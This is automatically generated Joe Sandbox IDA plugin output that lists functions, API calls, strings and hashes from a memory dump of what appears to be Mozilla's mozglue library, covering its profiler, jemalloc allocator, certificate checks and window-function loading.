Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Nvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exeynLNFWmgANvk.exe$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$k.exe
API String ID: 3686969729-2918241968
Opcode ID: 75bf50c1f55f43dd1a352270cb409bd448446f985cfe3ab7148e7f9fef71e299
Instruction ID: 2117c660f514c431af565ce984ca757124e4c3c39b6d80ebdcd8032f7f7b7885
Opcode Fuzzy Hash: 75bf50c1f55f43dd1a352270cb409bd448446f985cfe3ab7148e7f9fef71e299
Instruction Fuzzy Hash: 9F2238799043419FE7109F74994836A7BB5FF4A30CF088A29E94687B41E731C4CADBB2

Function 6CAAB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAB845
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000), ref: 6CAAB852
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAB884
InitializeConditionVariable.KERNEL32(?), ref: 6CAAB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CAAB9FD
GetCurrentThreadId.KERNEL32 ref: 6CAABA05
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8,?,?,00000000), ref: 6CAABA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CAABA27
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAABA4B
free.MOZGLUE(?), ref: 6CAAC9C7
free.MOZGLUE(?), ref: 6CAAC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CAAC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CAAC7DA

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: c37956050649a7185550fe6f93706e9a85fa4fa5d9f97db4da4c7d722d60ffb0
Instruction ID: 7f4837f85d4c08dc54f087a602898fc8816016fc4ad2419451e03e31e9a454d4
Opcode Fuzzy Hash: c37956050649a7185550fe6f93706e9a85fa4fa5d9f97db4da4c7d722d60ffb0
Instruction Fuzzy Hash: 6BA29071A083818FD725CF68D88079BB7F5BFC9314F048A2DE89997350DB71994ACB92

Function 6CA76C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA76CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA76D26

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA76D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA76D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA76D73
free.MOZGLUE(00000000), ref: 6CA76D80
CertGetNameStringW.CRYPT32 ref: 6CA76DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA76DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA76E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA76E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA76E34
CreateFileW.KERNEL32 ref: 6CA76EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA76F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA76F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA7709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA77103
free.MOZGLUE(00000000), ref: 6CA77153
CloseHandle.KERNEL32(?), ref: 6CA77176
__Init_thread_footer.LIBCMT ref: 6CA77209
__Init_thread_footer.LIBCMT ref: 6CA7723A
__Init_thread_footer.LIBCMT ref: 6CA7726B
__Init_thread_footer.LIBCMT ref: 6CA7729C
__Init_thread_footer.LIBCMT ref: 6CA772DC
__Init_thread_footer.LIBCMT ref: 6CA7730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA773C2
VerSetConditionMask.NTDLL ref: 6CA773F3
VerSetConditionMask.NTDLL ref: 6CA773FF
VerSetConditionMask.NTDLL ref: 6CA77406
VerSetConditionMask.NTDLL ref: 6CA7740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA7741A
moz_xmalloc.MOZGLUE(?), ref: 6CA7755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA77568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA77585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA77598
free.MOZGLUE(00000000), ref: 6CA775AC

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CA772C8
SHA256, xrefs: 6CA76EC0
wintrust.dll, xrefs: 6CA772CD
(, xrefs: 6CA7768A

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction ID: a90b010baf80108a5fb20fadabb873e599ad52468120568b2f8e0a11cfd1359c
Opcode Fuzzy Hash: 43eafba2f6d470ad39790568666b4d784b26e70d0230694911f61ef04d9a6348
Instruction Fuzzy Hash: 5152F475A003159FEB26DF24CC88BAA77B9FB49708F148199E509D7640DB30AEC5CFA1

Function 6CA96FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA97019
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA97061
EnterCriticalSection.KERNEL32(?), ref: 6CA971A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA9721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9723E
EnterCriticalSection.KERNEL32(?), ref: 6CA9726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA972B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA9733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA973E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA9961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA99622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA99642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA9964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA996DB
AcquireSRWLockExclusive.KERNEL32(6CAEE804), ref: 6CA99747
GetSystemInfo.KERNEL32(?), ref: 6CA99792
__Init_thread_footer.LIBCMT ref: 6CA997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CAEE810,00000040), ref: 6CA997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE7B8,00001388), ref: 6CA99838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE744,00001388), ref: 6CA9984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE784,00001388), ref: 6CA99874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CAEE7DC,00001388), ref: 6CA99895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA999A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA99933, 6CA99A33, 6CA99A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA99993
MALLOC_OPTIONS, xrefs: 6CA997CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA99BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA999D2
MOZ_CRASH(), xrefs: 6CA99B42
<jemalloc>, xrefs: 6CA99B33, 6CA99BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA999BD
Compile-time page size does not divide the runtime one., xrefs: 6CA99B38

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 11c1a0eb53b1ad8b0919be13783b1163efb8febeb0c1027d750c7a567622dafc
Instruction ID: 0c77601b58743d3967d843c820d63dd38325a5d238744205940a5367ff47fc7b
Opcode Fuzzy Hash: 11c1a0eb53b1ad8b0919be13783b1163efb8febeb0c1027d750c7a567622dafc
Instruction Fuzzy Hash: B9539071A257028FD704CF29C582615FBE1BF89328F29C66DE869CB791D731E881CB91

Function 6CAA0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAA0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAA0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAA0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAA0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAA1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAA10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAA117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAA1C39
EnterCriticalSection.KERNEL32(6CAEE744), ref: 6CAA3391
LeaveCriticalSection.KERNEL32(6CAEE744), ref: 6CAA33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAA3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAA3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAA37A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAA3559, 6CAA382D, 6CAA3848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAA3793
MALLOC_OPTIONS, xrefs: 6CAA35FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAA3A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAA37D2
MOZ_CRASH(), xrefs: 6CAA3950
<jemalloc>, xrefs: 6CAA3941, 6CAA39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAA37BD
Compile-time page size does not divide the runtime one., xrefs: 6CAA3946

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 121a295fa2ca9465ea743a1ac6cecca2a56e8117694b7ddb04fbe1478bfe4b2a
Instruction ID: a364f4de949655735bf1b8c8e7f7d7e963a2cadfad92ec898e6613672a8e674b
Opcode Fuzzy Hash: 121a295fa2ca9465ea743a1ac6cecca2a56e8117694b7ddb04fbe1478bfe4b2a
Instruction Fuzzy Hash: FD538E71A067029FD304CF69C540615FBE1BF89328F29C76DE8A99B791D771E882CB81

Function 6CAC55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA9E1A5), ref: 6CAC5606
LoadLibraryW.KERNEL32(gdi32,?,6CA9E1A5), ref: 6CAC560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAC5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAC563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAC566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAC567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAC5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAC56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAC56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAC56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAC56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAC5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAC572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAC5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAC5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAC577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAC5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAC57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAC57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAC57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAC57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAC57FF

Strings

RegisterClassW, xrefs: 6CAC56AC
SetWindowPos, xrefs: 6CAC56F7
LoadIconW, xrefs: 6CAC575B
GetSystemMetricsForDpi, xrefs: 6CAC5677
GetDpiForWindow, xrefs: 6CAC5690
SetWindowLongPtrW, xrefs: 6CAC57B7
AreDpiAwarenessContextsEqual, xrefs: 6CAC5637
EnableNonClientDpiScaling, xrefs: 6CAC5666
ReleaseDC, xrefs: 6CAC5742
user32, xrefs: 6CAC5601
GetThreadDpiAwarenessContext, xrefs: 6CAC562D
GetWindowDC, xrefs: 6CAC5710
FillRect, xrefs: 6CAC5729
LoadCursorW, xrefs: 6CAC5774
DeleteObject, xrefs: 6CAC57F9
CreateWindowExW, xrefs: 6CAC56C5
ShowWindow, xrefs: 6CAC56DE
MonitorFromWindow, xrefs: 6CAC578D
gdi32, xrefs: 6CAC560A
StretchDIBits, xrefs: 6CAC57CC
GetMonitorInfoW, xrefs: 6CAC57A2
CreateSolidBrush, xrefs: 6CAC57E4

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction ID: b4bee85b2ac6ba5043825f8c175e81b04d3668664a4b2355984c3de046fe5a84
Opcode Fuzzy Hash: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction Fuzzy Hash: 60514E70B017039FDF445F35AD4C9273AB8AB0E244B148529B921E2A12EB70C882FFF5

Function 6CAC34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3EE2

Part of subcall function 6CAC6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAC61DD
Part of subcall function 6CAC6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAC622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4157

Part of subcall function 6CAC6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAC6250
Part of subcall function 6CAC6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4896
free.MOZGLUE ref: 6CAC489F

Strings

, xrefs: 6CAC4CD2

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a64725be092728d8bbcc52543fff2dd7c6be2cae4789e8fc0010ca514a410852
Instruction ID: cc881298faac52f1bd9c033ed786e0bc1b32a8ea03621ed1447aa446a60edf57
Opcode Fuzzy Hash: a64725be092728d8bbcc52543fff2dd7c6be2cae4789e8fc0010ca514a410852
Instruction Fuzzy Hash: 61F24D74908B818FC765CF28C1846AAFBF1FFC9308F158A5ED99997711DB319886CB42

Function 6CA764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA76505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA76518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7671C
GetCurrentProcess.KERNEL32 ref: 6CA76724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA7672F
GetCurrentProcess.KERNEL32 ref: 6CA76759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA76764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA76A80
GetSystemInfo.KERNEL32(?), ref: 6CA76ABE
__Init_thread_footer.LIBCMT ref: 6CA76AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AF7

Strings

nvdxgiwrap.dll, xrefs: 6CA76513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA76798
nvd3d9wrap.dll, xrefs: 6CA76500
detoured.dll, xrefs: 6CA764DA
_etoured.dll, xrefs: 6CA764ED
user32.dll, xrefs: 6CA76526

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction ID: a61ac5bc1842c927f824b6464b388f1683ff74b212fd1ad3b5bbc7e77ba8c36a
